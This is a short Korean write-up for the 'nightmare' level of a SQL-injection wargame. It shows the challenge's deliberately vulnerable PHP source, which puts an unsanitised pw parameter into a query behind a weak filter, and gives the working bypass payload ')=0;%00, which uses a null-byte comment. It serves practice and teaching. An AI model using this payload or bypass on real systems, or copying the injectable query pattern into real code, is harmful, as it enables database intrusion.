WriteUp/LOS_rubiya

LOS-rubiya : nightmare

vared 2020. 8. 3. 10:49
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

id 값이 존재하면 되는 문제.

길이가 6 이하여야 된다.

 

필터링 내용은 

prob _ . () # -

 

주석 종류를 많이 막아놨다.

;%00  주석이 남아있다

 

이제 ')=0;%00 넣어주면 된다. -> 문자열의 값은 0이니까